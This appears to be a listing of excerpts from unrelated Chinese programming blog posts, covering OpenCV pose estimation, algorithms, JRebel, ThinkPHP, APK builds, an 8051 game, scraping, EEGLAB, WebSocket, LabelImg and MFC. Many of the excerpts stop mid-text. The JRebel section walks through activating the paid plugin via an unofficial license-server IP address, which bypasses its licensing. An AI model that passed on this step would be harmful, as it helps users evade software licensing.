欧拉角(Euler Angle) pitch:俯仰角,围绕X轴旋转; yaw:偏航角,围绕Y轴旋转; roll:翻滚角,围绕Z轴旋转。 第一步:用Opencv的solvePnP函数解出旋转向量 C++: bool solvePnP(InputArray objectPoints, InputArray imagePoints, InputArray cameraMatrix, InputArray distCoeffs, OutputArray rvec, OutputArray tvec, bool useExtrinsicGuess=false, int flags=SOLVEPNP_ITERATIVE ) Python: cv2.solvePnP(objectPoints, imagePoints, cameraMatrix, distCoeffs[, rvec[, tvec[, useExtrinsicGuess[, flags]]]]) → retval, rvec, tvec 输入 objectPoints - 世界坐标系下的控制点的坐标,单位mm,vector的数据类型在这里可以使用; imagePoints - 在图像坐标系下对应的控制点的坐标,vector在这里可以使用; cameraMatrix - 相机的内参矩阵; distCoeffs - 相机的畸变系数; flags - 默认使用CV_ITERATIV迭代法,还有SOLVEPNP _P3P、SOLVEPNP _EPNP、SOLVEPNP _DLS、SOLVEPNP _UPNP; useExtrinsicGuess - 默认False,表示是否有初始化已知的旋转向量和平移向量; (其中相机内参矩阵与畸变系数可由张正友相机标定法得到) 输出 rvec - 输出的旋转向量,使坐标点从世界坐标系旋转到相机坐标系; tvec - 输出的平移向量,使坐标点从世界坐标系平移到相机坐标系;

实时处理中帧之间的拼接问题即端点效应咋解决啊?

实时处理中避免不了帧之间的拼接问题,为什么会出现这个问题?且听老夫慢慢道来: 话说无论采用滤波器或者其他方法处理帧信号,得到的信号总是会有帧和帧之间衔接的畸变,因为不可能预知下一帧/下个样点的信号,所以帧之间的畸变是不可避免的。 【当然在整体处理中这种情况就没有了,为何?因为整体处理整个wav文件的话,不必考虑这个问题了,每一帧信息都是知道的,所以不会有这种问题,如果我整体处理,就不能是实时的了】 这种畸变听起来很难受,刺啦刺啦的声音,体验很不好。如图下:加群获取wav文件 群里一位大佬说:weight overlap add 我先看看论文,同事说还是用RNN那个解决,有参考。 另外有相关问题可以加入QQ群讨论,不设微信群 QQ群:868373192 语音深度学习群

算法设计与分析回溯算法之装载问题

回溯算法之装载问题 问题描述 给定n个集装箱要装上一艘载重量为c的轮船,其中集装箱i的重量为wi。集装箱装载问题要求确定在不超过轮船载重量的前提下,将尽可能多的集装箱装上轮船(贪心算法中的装载问题讨论的是装载件数;本题讨论的是最大装载重量。) 由于集装箱问题是从n个集装箱里选择一部分集装箱,假设解向量为X(x1, x2, …, xn),其中xi∈{0, 1}, xi =1表示集装箱i装上轮船, xi =0表示集装箱i不装上轮船。 输入 每组测试数据:第1行有2个整数c和n。C是轮船的载重量(0<c<30000),n是集装箱的个数(n≤20)。第2行有n个整数w1, w2, …, wn,分别表示n个集装箱的重量。 输出 对每个测试例,输出两行:第1行是装载到轮船的最大载重量,第2行是集装箱的编号。 输入样例 34 3 21 10 5 输出(考虑最大装载量的最优解) 31(重量) 1 2 考虑最大装载件数的最优解 2(件) 5 10 算法分析 该问题的形式化描述为: 用回溯法解装载问题时,其解空间是一棵子集树,与0 - 1背包问题的解空间树相同。 可行性约束函数可剪去不满足约束条件的子树: 令cw(t)表示从根结点到第t层结点为止装入轮船的重量,即部分解(x1, x2 , …, xt)的重量: 当cw(t)>c时,表示该子树中所有结点都不满足约束条件,可将该子树剪去。 代码 #include <iostream> using namespace std; class goods{ int weight; public: goods(int w=0):weight(w) {} int get_w(){ return weight; } void set(int w){ weight=w; } }; //goods *g,集装箱列表 //int *best,待求解的最优装载方案 //int t,子集树数的层号。根节点在第0层,叶节点在第n层 //int n,集装箱的总数 //int &cw, 当前的轮船的荷载 //int bestcw ,当前的最大荷载 //int *x,满足当前最大荷载的装载方案 //int r剩余的集装箱重量和 void load(goods *g, int *x, int t, int n,int cw, int &bestcw ,int *best,int r,int c){ if(t>n) { //已经遍历的到叶子结点,得到了一个解决方案 if(cw>bestcw) { for(int i=0;i<n;i++) best[i]=x[i]; bestcw=cw; } } else{ //每个结点可以有两个分支,分别利用约束规则和限界规则进行剪枝 r=r-g[t].

【复杂网络社团发现】GN算法边介数详解

前言 边介数是运用GN算法求解的关键,通过不断删除边介数最高的边,才能最终生成分裂树。 那么,边介数怎么计算呢? 相信点进我这篇文的朋友们都是看过边介数计算公式的。 那么废话不多说,我直接上图解释吧。 流程 首先假设这里有个图,m个节点,n条边,我们先选节点s作为源节点,以s为源对图进行搜索,画出s到各个节点的最短路径树,假设最短路径树呈这个亚子: 然后我们把所有最邻近叶子结点的那条边标上1,再将其他边标上所有最邻近他的边之和+1,然后就成了这个样子: 这样,我们就有了在这个点作为源节点时的各边单次边介数。然后再换一个节点作为边节点,就有了如下图: 本次计算结果我标注了绿色,然后再按照这个方法,当遍历完所有节点(即所有节点都做过一次边节点)后,再将各边上每次求得的单次边介数累计求和,得到的就是最终该边边介数。 解释 从边介数定义开始讲吧。 大家都知道,边介数定义为从源节点到各节点最短路径中经过该边的路径数,那么就再回到先前的图: 在这张图中,源节点S到各节点都只有一条最短路径,那么我就借着这张图来解释一下: 可以看到,图中这条橙色的边单次边介数为2,而经过它的最短路径有两条。 如果这样还不够清晰,那么—— 图中蓝色的边单次边介数为6,经过它的最短路径有6条,足够清楚了吧。 补充 先前有人问过我这个问题,他给我画了这么个图: 他在我给的示例图上添了这么一笔,然后问我这样怎么计算边介数呢? 自然是照常计算啊,添上这条边又不会造成其他边的变动(在还是S作为源节点的情况下),只是这条边上可以标个1罢了。 此外,还有一种情况,就是在这个连通图外还有单独两个连通节点的: 具体我就不详说了,直接看计算过程吧: 不同颜色代表将不同节点作为源节点时的计算结果。

Eclipse中热部署插件jrebel的配置

叙:刚到一家新公司,这边的项目比之前的公司更有深度点,项目比较大 和复杂,之前的那一套跑项目等的“路子”跟不上现在的使用了,热部署是必须的,而且在这个大项目中的热部署条件比较苛刻,最后尝试了多次,最终选中了Eclipse的Jrebel插件成功的,下面就是我的配置介绍; Eclipse中热部署插件JRebel的配置 1. 在Eclipse中安装插件jrebel2. 注册JRebel(使用前必须先注册通过)3. 开始配置JRebel关联项目3.1. 在Project 功能面板中勾选热部署项目3.2. OverView功能面板中打开Work offline3.3. 细节点检查配置 4. 启动成功测试《END》 1. 在Eclipse中安装插件jrebel 在Eclipse中 Help中找到Eclipse Marketplace 跟着步骤安装完成之后需要重启Eclipse; 2. 注册JRebel(使用前必须先注册通过) 重启完Eclipse后我们会发现在 Help 选项中多了JRebel的选项,此步骤中我们就是为了激活JRebel插件的,如下图打开激活面板输入框: 点击Activation选项,进入注册码激活界面: Team URL激活方式中有两个输入框,一个是激活地址,另一个是邮箱地址: 在激活地址中输入: http://139.199.89.239:1008/88414687-3b91-4286-89ba-2dc813b107ce(有可能已经过期,可以从网上再找一份路径即可,很容易找到的,如果没有注册,则不能使用JRebel,因为下面的一些设置是需要JRebel注册后才能进行的;) 邮箱地址中输入:随便输个邮箱 输入完成后点击右下角的按钮即可: 3. 开始配置JRebel关联项目 3.1. 在Project 功能面板中勾选热部署项目 基本上全选就没问题了,省的不熟悉项目的漏了或者前期不需要改动,后期需要编写的模块前期没添加热部署的。 在你需要热部署的项目后有两列框,只需要在第一列框中打勾就好! 如下图: 3.2. OverView功能面板中打开Work offline JRebel默认是联网使用得,一旦无网就启动不起来,但是可以通过修改配置来进行离线启动,只需要点击点击 OverView 功能面板中的Work offline,如下图: 打开离线启动配置后 OverView 功能面板显示如下: 3.3. 细节点检查配置 第一是:Tomcat 的 Publishing 配置 第二是:项目自动构建 4. 启动成功测试 启动项目时,出现下图提示则表示安装成功(截图和贴的代码不一样,但是基本的显示样式都是一样的): 2019-10-19 17:38:37 JRebel: Starting logging to file: C:\Users\tlqi\.jrebel\jrebel.log 2019-10-19 17:38:37 JRebel: 2019-10-19 17:38:37 JRebel: ############################################################# 2019-10-19 17:38:37 JRebel: 2019-10-19 17:38:37 JRebel: JRebel Agent 2019.

TP5 URL大小写(驼峰法访问需要注意事项)

默认情况下,URL是不区分大小写的,也就是说 URL里面的模块/控制器/操作名会自动转换为小写,控制器在最后调用的时候会转换为驼峰法处理。 例如: http://localhost/index.php/Index/Blog/read // 和下面的访问是等效的 http://localhost/index.php/index/blog/read 如果访问下面的地址 http://localhost/index.php/Index/BlogTest/read // 和下面的访问是等效的 http://localhost/index.php/index/blogtest/read 在这种URL不区分大小写情况下,如果要访问驼峰法的控制器类,则需要使用: http://localhost/index.php/Index/blog_test/read 模块名和操作名会直接转换为小写处理。 如果希望URL访问严格区分大小写,可以在应用配置文件中设置: // 关闭URL中控制器和操作名的自动转换 ’url_convert’ => false, 一旦关闭自动转换,URL地址中的控制器名就变成大小写敏感了,例如前面的访问地址就要写成: http://localhost/index.php/Index/BlogTest/read 但是下面的URL访问依然是有效的: http://localhost/index.php/Index/blog_test/read 下面的URL访问则无效: http://localhost/index.php/Index/blogtest/read 需要注意:路由规则中定义的路由地址是按照控制器名的实际名称定义(区分大小写)。

Apk构建总结之一打包流程及安装流程

一. 分析已经打好的apk 要了解APK的打包流程,我们首先来了解下打包完成以后APK包里面包含哪些东西。.apk文件其实就是一个压缩文件,把文件的后缀改成.zip就可以用解压软件解压了: 1. 将apk后缀改成rar包 2. 解压rar包 apk是一个压缩包,里面有lib,META-INF,classes.dex,res,resources.arsc文件夹和文件。下面看看它们各自的作用。 assets资源。lib不是每个apk都有的,主要看项目,文件夹里面存放的是so动态链接库,so动态链接库不需要做处理。META-INF是签名文件夹,里面有三个文件。res:除图片和 res/raw 文件夹下的文件外,其余的 xml 文件都被 aapt 编译成二进制的 xml 文件,里面还会分animator,anim,color,drawable,layout,menu和raw这几个文件夹。AndroidManifest.xml:经过 aapt 编译后的二进制的 xml 文件,它位于整个项目的根目录,描述了package中暴露的组件(activities, services, 等等),他们各自的实现类,各种能被处理的数据和启动位置。 除了能声明程序中的Activities, ContentProviders, Services, 和Intent Receivers,还能指定permissions和instrumentation(安全控制和测试)。这个文件是很重要的,里面有我们的Android四大组件和申请的权限。classes.dex是.dex文件,就是我们写的java代码经过处理得到的。如果做了拆包那么会有classes1.dex,classes2.dex …多个classes.dex文件。resources.arsc记录了所有的应用程序资源目录的信息,包括每一个资源名称、类型、值、ID以及所配置的维度信息。我们可以将这个resources.arsc文件想象成是一个资源索引表,这个资源索引表在给定资源ID和设备配置信息的情况下,能够在应用程序的资源目录中快速地找到最匹配的资源。 我们发现xml文件都不能直接被识别了这是因为:xml文件都被aapt编译成二进制的xml文件,将文本格式的xml转为二进制格式的xml原因有以下两点:二进制格式的XML文件占用空间更小;二进制格式的XML文件解析速度更快。 二. 打包的详细流程 1.编译打包流程图 Android Studio默认采用gradle组织完成打包过程,对开发者来说简单的执行相关的task即可,这种透明的打包过程也让我们忽略了很多细节。 打包工具详解. 工具名称功能介绍路径aaptAndroid资源打包工具 打包res资源文件,生成R.java、resources.arsc和res文件(二进制 & 非二进制如res/raw和pic保持原样){SDK_PATH}/platform-tools/{tools_version}/appt.exeaidlAndroid接口描述语言转化为.java文件的工具{SDK_PATH}/platform-tools/{tools_version}/aidl.exejavacJava Compiler java代码转class文件{JDK_HOME}/javacdex转化.class文件为Davik VM能识别的.dex文件{JDK_HOME}/platform-tools/{tools_version}/dx.batapkbuilder所有没有编译的资源,如images、assets目录下资源,编译过的资源和.dex文件都会被apkbuilder工具打包到最终的.apk文件中{JDK_HOME}/tools/opkbuilderjarsigner.jar文件的签名工具,一旦APK文件生成,它必须被签名才能被安装在设备上。一种是用于调试的debug.keystore 一种就是用于发布正式版本的release.keystore{JDK_HOME}/jarsignerzipalign字节码对齐工具,对齐的主要过程是将APK包中所有的资源文件距离文件起始偏移为4字节整数倍,这样通过内存映射访问apk文件时的速度会更快。对齐的作用就是减少运行时内存的使用。{JDK_HOME}/tools/zipalign 2.编译打包步骤 (1.) 打包资源文件,生成R.java文件 打包资源文件的工具是aapt(The Android Asset Packaing Tool),目录 sdk\build-tools\25.0.0\aapt。 在这个过程中,项目中的AndroidManifest.xml文件和布局文件XML都会编译,然后生成相应的R.java,另外AndroidManifest.xml会被aapt编译成二进制。 存放在APP的res目录下的资源,该类资源在APP打包前大多会被编译,变成二进制文件,并会为每个该类文件赋予一个resource id。对于该类资源的访问,应用层代码则是通过resource id进行访问的。 Android应用在编译过程中aapt工具会对资源文件进行编译,并生成一个resource.arsc文件,resource.arsc文件相当于一个文件索引表,记录了很多跟资源相关的信息。 (2.) 处理aidl文件,生成相应的Java文件 处理aidl文件的工具是aidl(Android Interface Definition Language),即Android接口描述语言,目录 sdk\build-tools\25.0.0\aidl。 aidl工具解析接口定义文件然后生成相应的Java代码接口供程序调用。如果在项目没有使用到aidl文件,则可以跳过这一步。 (3.) 编译项目源代码,生成class文件 编译源代码使用工具是 Java编译器(javac)

基于SCT89C52的贪吃蛇游戏制作

基于SCT89C52的贪吃蛇游戏制作 本文主要描述各个模块的软件原理部分,开发板电路部分略微提及。 下载链接:https://download.csdn.net/download/xiaoshixiu/11813752 一、 控制器 红外发射管和红外接收管 红外通信是指以红外线作为载波的通信,我们常可以在遥控器的顶端看到红外二极管,也就是上图。如果晶振频率较高,有时候需要对晶振分频后由红外发射器发出。一般红外频率为38KHZ。 二进制信号调制方式有多种,包括PCM脉冲编码调制,PWM脉冲宽度调制,PPM脉冲位置调制。 红外接收器目前基本都已经将接收、放大、限幅、检波、整形等功能集成到一个器件中,如下图。三个脚分别为电源正、电源负、数据输出。 红外接收器的数据输出端接到MCU的数据接收端口,MCU需要解析二进制信号,也就是一段区分遥控器按键的二进制信号。具体数据格式以及各段时长如下: 对于单一的遥控器而言,可以仅仅使用数据码来区分不同的按键,使用数据反码来进行校验,数据反码就是数据码取反。 为了准确接收红外信号,需要对各个部分时长做范围检查,起始码是一段9ms的高电平加上4.5ms的低电平/而后续的每一个数据包括一个低电平和一个高电平,如下图,数据0的低电平持续0.56ms,高电平大约0.56ms。数据1的低电平持续0.56ms,高电平持续1.69ms。 软件部分如下。 void onInt0() interrupt 0 { int threshold=0; int i=0; int times=0; delay(500);//5ms //判断起始码低电平是否持续9ms if(p32==1){ return; } //10ms持续监测起始码低电平 threshold=1000; while(p32==0 && threshold!=0){ delay(1); threshold--; }; if(threshold==0){ return; } //5.5ms持续监测起始码高电平 threshold=550; while(p32==1 && threshold!=0){ delay(1); threshold--; }; if(threshold==0){ return; } //receive data code //后续32位数据进行32次循环 for(i=0;i<32;i++) { //0.6ms监测数据位的低电平 threshold=60; while(p32==0 && threshold>0){ delay(1); threshold--; } //根据高电平时长判断是位0还是位1,并把数据保存到数组infra_data中 threshold=100; times=0; while(p32==1 && threshold!

python爬虫正则表达式匹配为空的问题

在用正则表达式匹配网址信息的时候,经常会匹配到空的列表。这个问题确实很烦,我当初也在这个地方卡了好长时间,所以就打算写一个博客来好好整理一下正则表达式匹配为空的一些状况。 一:选取正则表达式的方式不对 并不建议在网页上按F12然后选中自己想爬的内容,直接写正则表达式,因为网页的源代码和返回给我们请求的html是不一样的,源代码里会夹杂着一些隐含符,/n或者/r/n…要是没有这些隐含符就会导致匹配到空的字符串。 解决办法:在def_analysis(self,htmls):里设置断点,然后进行调试 圆的为断点,长方形的为调试,等待一会后出现 然后右边就会出现你匹配到的情况,在里面找到htmls,点view然后把里面的内容复制到一个word文档里,放在word文档里的好处就是不用匹配一个调试一下了,而且可以在word文档里用ctrl+H来进行查找,会方便很多。在这里就可以直接匹配到你想要的内容。 二:你爬取的内容是动态的,返回的html里没有相应的信息,例如京东的价格,评论,这样就不能用正则表达式来匹配,你需要从接口里爬取。 关于从接口里爬取动态的内容,我们到以后在进行讲解。 三:以上两种可能都没有的话,就只有可能你爬的网址有十分强大的反爬虫,就是不让你爬。可以试试更换ip地址,User-Agent,cookies,怎么更ip,user-agent 会在以后再进行讲解 至此,如果你的问题还没有解决,就在下方评论或者私信,那我们就下次再见吧

eeglab中文教程系列(8)-选择数据的epochs并进行比较

目录 选择数据epoch并绘制数据平均值Computing Grand Mean ERPsComparing ERPs in Two Conditions 本教程为脑机学习者Rose发表于公众号:脑机接口社区 .QQ交流群:903290195 选择数据epoch并绘制数据平均值 为了比较一个被试两种条件下的ERP,需要首先为两种条件各创建时间段的dataset。在本实验中,一半的目标刺激呈现在位置1,一半的目标刺激呈现在位置2。 Selecting Events and Epochs for Two Conditions. 操作: Edit > Select epochs or events,出现如下界面pop_selectevent.m。在position旁边的文本框中输入"1",这将选择目标出现在位置1的所有epoch。 点击"OK"后出现下面pop_newset.m窗口用于保存新数据集,这里将该新数据集命名为"Square,Pos1",然后点击"OK". 重复上述操作创建另一数据集,命名为"“Square, Pos.2”. 另一个选择数据集的方式:Edit > Select data,如下[下面的示例将选择时间范围为-500毫秒至1000毫秒的数据子时期. 此外, 它将删除数据集纪元2、3和4,并完全删除通道31.] Computing Grand Mean ERPs 操作 Plot > Sum/Compare ERPs弹出如下窗口,在弹出的pop_comperp.m窗口顶部输入数据集"3"和"4"的索引。在第一行上单击avg,显示均值,点击std显示标准差,所有ERP框显示每个数据集的ERP平均值,t检验的显著性概率阈值为0.05,点击"OK". 点击"OK"后出现如下界面: 在上面界面上点击电极位置FPz上的迹线,可以弹出下图, Comparing ERPs in Two Conditions 比较两种条件下的ERPs 具体操作:Plot > Sum/Compare ERPs,在弹出的pop_comperp.m窗口的顶部文本输入框,输入要比较的数据集的索引,单击平均值中的所有框,在低通频率中输入30。 双击界面上的通道(双击FPz),可以弹出如下界面: 本文章由脑机学习者Rose笔记分享,QQ交流群:903290195 更多分享,请关注公众号

【论文阅读】多粒度特征融合的维度语音情感识别方法

陈婧, 李海峰, 马琳, et al. 多粒度特征融合的维度语音情感识别方法[J]. 信号处理, 2017(3). 主要内容:针对传统维度语音情感识别系统采用全局统计特征造成韵律学细节信息丢失以及特征演化规律缺失的问题,提出了一种基于不同时间单元的多粒度特征提取方法,提取短时帧粒度、中时段粒度和长时窗粒度特征,并提出了一种可以融合多粒度特征的基于认知机理的循环神经网络CIRNN,使用不同时间单元的特征参与网络训练,实现多层级信息融合。本文在VAM维度语料库上进行实验,得到平均相关系数0.66,优于传统的ANN和SVR识别结果。 收获:了解了连续语音识别中多粒度特征提取方法,实验评价方法与指标。 文章的主要工作 针对全局统计特征引起时序信息丢失的问题,研究了合适的情感表达时长,提出基于不同时间单元的多粒度情感特征提取方法。提出了可以融合多粒度特征的基于认知机理的循环神经网络(CMRNN)。在VAM语料库上评估模型的性能。 多粒度语音情感特征提取方法 文章认为短时帧特征太过于关注语义信息,而全局统计特征有可能导致情感韵律细节信息丢失,因此提出语段粒度特征和情感认知窗粒度特征两个粒度特征。 帧粒度特征提取 使用25ms汉明窗,帧移10ms对语音进行分帧处理,然后提取96维特征并进行归一化。本文的一个创新点是,使用Teager_Mel特征代替MFCC特征,并通过实验验证了该特征的有效性,可在后续的研究中作为参考。 其中,Teager_Mel特征的理论基础是:一个完整的语音是由线性和涡流区域的非线性模块构成,涡流部分会对语音信号产生影响。提取过程如图所示: TEO变换为,它的优点是更加突出语音信号能量在不同频段上的偏差,从而使得情感能量在不同情绪下的偏移更为明显。 作者为验证Teager_Mel的有效性,与MFCC相对比,每种特征提取了共273维的统计特征,如图所示: 然后使用相关系数作为评价指标,在VAM语料库上进行实验,实验结果如图所示,从而证明了Teager_Mel的有效性。 段粒度特征提取 分段 以“帧/段”为单位衡量段长,分别取10帧/段、20帧/段、……、200帧/段共20种情况进行实验。语段划分方法与交叠分帧方法类似,使用矩形窗,段移为段长的一半。分段后,对段内帧特征进行统计,取19种统计函数,从而得到19×96=1824维的段特征。选取的统计函数如图所示。 确定最优段长 使用Elman的SRN(简单循环神经网络)做分类器,分别在Activation、Valence和Dominance三个维度拟合,使用相关系数评价拟合效果。 实验结果表明不同段长划分对系统的结果影响较大,且随段长的增长拟合效果并未明显提高,综合来看,段长取80帧/段时得到最优的拟合效果。 窗粒度特征提取 人的情感表达分为酝酿阶段、充分表达阶段和收尾阶段,其中在收尾阶段中,语气、语调都相应降低,因此文章采用高斯函数拟合这一过程,即在多个语段特征上加载高斯函数,提取过程和具体算法如图所示。 XN表示语段特征,G(·)为高斯函数,wi是第i段对应高斯函数的位置,由于高斯函数有效值服从3原则,因此S是,M是3区间长度。 网络结构 在RNN的基础上增加输入层和隐含层得到CMRNN。因此,CMRNN包含2个输入层、2个隐含层、1个记忆层和1个输出层共6层。其中,z(t)由x(t)和e(t)都加权并使用sigmoid函数激活得到的。然后使用误差反向传播算法更新权重。 为了融合多粒度特征进行识别,输入层u(t)是由帧粒度特征和段粒度特征构成,窗粒度特征则作为另一个输入单独进入网络,如图所示。 实验 数据集——VAM语料库 VAM数据库的情感标注在情感的空间,分别在Activation、Dominance、Valence 三个维度。它是通过德国的电视访谈节目录制的信息,由三个子研究方向的库组成:VAM-Video、VAM-Audio 和VAM-Faces 三个数据库。其中VAM-Video 数据库保存着这些对话的视频信息;VAM-Audio 数据库保存着这些对话的音频信息;VAM-Faces 是从VAM-Video中提取出这些图像的面部情感信息。文章使用VAM-Audio 语料库进行实验。VAM-Audio 语料库共有 12 小时的时长。语料库由 47 个话语者(11 名男性/36 名女性)进行录制的,每个实验人员平均录制22 条语句。最终这些语料被 17 个标注者进行标注,分别标签在情感的三个维度:效价度、激活度和控制度,标注值在-1和1之间。VAM-Audio语料库共有947条情感语句。将语料库随机10等分,九份作为训练集,采用10折交叉验证。 实验设置 1. 对比实验 3层ANN:输入层为1824个神经元,隐含层为50个神经元,输出层包含3个节点,分别对应3个维度。 CMRNN:输入为(1824维段特征+96维帧特征)和1824维窗特征。隐含层和记忆层均包括50个节点,输出层3个节点对应3个维度。 2. 评价指标:相关系数CC和均方误差MSE。 3. 其他说明: 训练或测试阶段,当输入一个语料的最后一段特征时,将最后一段输入的特征得到的神经网络输出结果作为该语料的识别结果;在训练或者测试阶段,按照特征的时序信息进行输入,对属于同一个语料的记忆层信息需要进行保留;对于不同的语料,需要在输入本样本的第一个时序特征之前将记忆层的数值置为零,这样使得两个独立样本之间不会受到影响;在训练阶段,对于同一语料样本的特征输入,网络的误差要累积到最后一个特征输入,进行一次神经网络的权值修改,但是不同的语料样本,误差信息不会累计 实验结果 相关系数结果: 均方误差结果: 另外,文章还与使用SVR的方法比较,得到了如下结果:

WebSocket概念及工作原理

一、WebSocket是什么? webSocket是HTML5新增的协议,它的目的是在浏览器和服务器之间建立一个不受限的双向通信的通道,比如说,服务器可以在任意时刻发送消息给浏览器。 WebSocket同样是HTML5规范的组成部分之一,用一句话概括就是:客户端向WebSocket服务器通知(notify)一个带有所有接收者ID的事件(event),服务器接收后立即通知所有活跃的(active)客户端,只有ID在接收者ID序列中的客户端会处理这个事件。由于WebSocket本身基于TCP协议的,多以在服务器端我们可以采用构建TCP Socket服务器的方式来构建WebSocket服务器。 WebSocket是一种全新的协议。它将TCP的Socket(套接字)应用在了web page上,从而使通信双方建立起一个保持在活动状态连接通道,并且属于全双工(双方同时进行双向通信)。 它的最大特点是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器端发送信息,是真正的双向平等对话,属于服务器推送技术的一种,其他特点包括: 1)建立在TCP协议之上,服务器端的实现比较容易。 2)与HTTP协议有着良好的兼容性。默认端口也是80和443,并且握手阶段采用HTTP协议,因此握手时不容易屏蔽,能通过各种HTTP代理服务器。 3)数据格式比较轻量,性能开销小,通信高效。 4)可以发送文本,也可以发送二进制数据。 5)没有同源限制,客户端可以与任意服务器通信 6)协议标识是ws(如果加密,则为wss),服务器网址就是URL。 二、协议 WebSocket协议被设计来取代现有的使用HTTP作为传输层的双向通信技术,并受益于现有的基础设施(代理,过滤,身份验证)。 TCP/IP协议 TCP/IP协议是目前应用最为广泛的协议,是构成Internet国际互联网协议的最为基础的协议,由TCP和IP协议组成。 TCP协议:面向连接的,可靠的。基于字节流的传输层通信协议,负责数据的可靠性传输的问题。 IP协议:用于报文交换网络的一种面向数据的协议,主要负责给每台网络设备一个网址地址,保证数据传输到正确的目的地。 UDP协议:无连接、不可靠、基于报文的传输层协议,优点是发送后不用管,速度比TCP快。 三、双向通信与消息推送 1)轮询:客户端定时向服务器发送Ajax请求,服务器接到请求后马上返回响应信息并关闭连接。 优点:后端程序编写比较容易 缺点:请求中有大半是无用,浪费带宽和服务器资源。 实例:适用于小型应用。 2)长轮询:客户端向服务器端发送Ajax请求,服务器接到请求后hold住连接,直到有新消息才返回响应信息并关闭连接,客户端处理完响应信息后再向服务器发送新的请求 优点:在无消息的情况下不会频繁的请求,耗费资小 缺点:服务器hold连接会消耗资源,返回数据顺序无保证,难于管理维护。Comet异步的ashx 实例:WebQQ、Hi网页版、Facebook IM。 3)长连接:在页面里嵌入一个隐藏iframe,将这个隐藏iframe的src属性设为对一个长连接的请求或是采用XHR请求,服务器端就能源源不断地往客户端输入数据。。 优点:消息即时到达,不发无用请求,管理起来也相对方便 缺点:服务器维护一个长连接会增加开销 实例:Gmail聊天

labelImg 使用教程 图像标定工具

参考链接:LabelImg labelImg 使用教程 LabelImg简介LabelImg安装LabelImg用法步骤(PascalVOC)步骤(YOLO)创建预定义的类热键验证图片设置困难识别对象 相关项目 实际操作 LabelImg简介 LabelImg是图形图像注释工具。 它是用Python编写的,并将Qt用于其图形界面。 批注以PASCAL VOC格式(ImageNet使用的格式)另存为XML文件。此外,它还支持YOLO格式 LabelImg安装 安装请参考:VOC数据集图片标注工具labelImg简介、安装、使用方法详细攻略(windows) PyQt4、PyQt5 LabelImg用法 步骤(PascalVOC) 按照上面的说明进行构建和启动。在菜单/文件中单击“更改默认保存的注释文件夹”点击“打开目录”点击“创建RectBox”单击并释放鼠标左键以选择一个区域来标注矩形框您可以使用鼠标右键拖动矩形框来复制或移动它 注释将保存到您指定的文件夹中。 您可以参考以下热键来加快工作流程。 步骤(YOLO) 在data/predefined_classes.txt定义在您的训练中使用的类的列表。按照上面的说明进行构建和启动。在工具栏中的“保存”按钮下方,单击“ PascalVOC”按钮以切换为YOLO格式。您可以使用Open / OpenDIR处理单个或多个图像。完成单个图像后,单击“保存”。 YOLO格式的txt文件将以与您的图片相同的名称保存在同一文件夹中。名为“ classes.txt”的文件也被保存到该文件夹​​。“ classes.txt”定义您的YOLO标签所引用的类名称的列表。 注意: 标签列表在处理图像列表的过程中不得更改。保存图像时,classes.txt也将被更新,而以前的注释将不被更新。保存为YOLO格式时,请勿使用“默认类别”功能,否则将不会引用该功能。当保存为YOLO格式时,“困难”标志将被丢弃。 创建预定义的类 您可以编辑 data / predefined_classes.txt 以加载预定义的类 热键 快捷键功能Ctrl + u从目录加载所有图像Ctrl + R更改默认注释目标目录Ctrl + s储存Ctrl + d复制当前标签和矩形框space将当前图像标记为已验证w创建一个矩形框d下一张图片a上一张图片del删除选定的矩形框Ctrl ++放大Ctrl–缩小↑→↓←键盘箭头移动选定的矩形框 验证图片 当按下空格键时,用户可以将图像标记为已验证,然后将显示绿色背景。在自动创建数据集时使用此功能,然后用户可以浏览所有图片并标记它们,而不用对其进行注释。 设置困难识别对象 困难字段设置为1表示该对象已被注释为“困难”,例如,清晰可见但在不大量使用上下文的情况下很难识别的对象。根据您的深度神经网络实现,您可以在训练期间包括或排除困难对象。 相关项目 ImageNet Utils下载图像,创建标签文本以进行机器学习等使用Docker运行labelImg生成PASCAL VOC TFRecord文件基于Nick Roach(GPL)图标的App图标在vscode中设置python开发该项目在iHub平台上的链接 实际操作 先准备好两个文件夹,一个存放已经采集好的图片,另一个存放准备标定后的xml文件,并修改data文件夹下的predefined_classes.txt类文件(我这里只设置一个类 )并保存: 在LabelImg文件夹右键控制台运行python labelImg.py启动程序: 点击open dir,选择我们存放图片的文件夹,然后再选择我们准备存放xml文件的文件夹: (注意:打开已有标注的文件夹时,务必保证里面有class.txt文件,否则程序将崩溃) 然后点击Create/nRectBox或按快捷键W开始画框: 选择目标类别并点击ok 标完后点击Next Image或按快捷键D切换到下一张图片 当一张图片标记完成后,会在一开始我们设置存储xml文件的文件夹下生成一个xml文件:

20 MFC - 案例总结

1 新建项目 1.1 根据向导创建项目 首先,新建MFC项目(SaleSystem),基于单文档,MFC标准项目,同时,去掉工具栏: 1.2 添加预处理指令 由于微软在VS2013中不建议再使用C/C++的传统库函数scanf,strcpy,sprintf等,所以直接使用这些库函数会提示C4996错误。 VS建议采用带_s的函数,如scanf_s、strcpy_s,但这些并不是标准C/C++函数。要想继续使用此函数,需要添加 _CRT_SECURE_NO_WARNINGS这个预定义。 在项目 -> 属性 -> C/C+±>预处理器 -> 预处理器定中添加 _CRT_SECURE_NO_WARNINGS: 1.3 设置窗口属性 设置图标 打开资源视图,添加本地ICO图标,在res文件夹中添加我们提前准备的图标资源: 在资源的属性中修改ID(IDI_ICON_WIN): 在CMainFrame的 OnCreate()中添加如下代码: //设置图标,IDI_ICON_WIN为图标资源ID,此为WINAPI函数 SetClassLong(m_hWnd, GCL_HICON, (LONG)AfxGetApp()->LoadIconW(IDI_ICON_WIN)); 设置窗口大小和居中显示 还是在CMainFrame的OnCreate()中接着写代码: //设置窗口的位置和大小:CWnd::MoveWindow //0, 0, 起点坐标x和y //800, 500, 窗口宽度和高度 MoveWindow(0, 0, 800, 500); //将窗口移动到屏幕中央,CWnd::CenterWindow CenterWindow(); 设置窗口标题 在CSaleSystemDoc文档类中的OnNewDocument()函数中添加如下代码: //设置窗口标题,CDocument::SetTitle SetTitle(TEXT("销售管理系统")); 程序运行效果图如下: 2 文件处理 2.1 文件内容格式 登陆用户信息: 商品信息: 2.2 设计文件处理类CInfoFile 添加文件处理类CInfoFile 头文件(InfoFile.h)的设计 定义两个配置文件路径宏: #define _F_LOGIN "./login.ini" #define _F_STOCK "./stock.txt" 添加文件信息结构体,具体如下: struct msg { int id; //商品id string name; //商品名,别忘包含相应头文件 int price; //商品价格 int num; //商品个数 }; 商品很多,而且要经常添加删除,可以考虑用链表来存储,所以,在成员变量中添加list类型的成员变量:

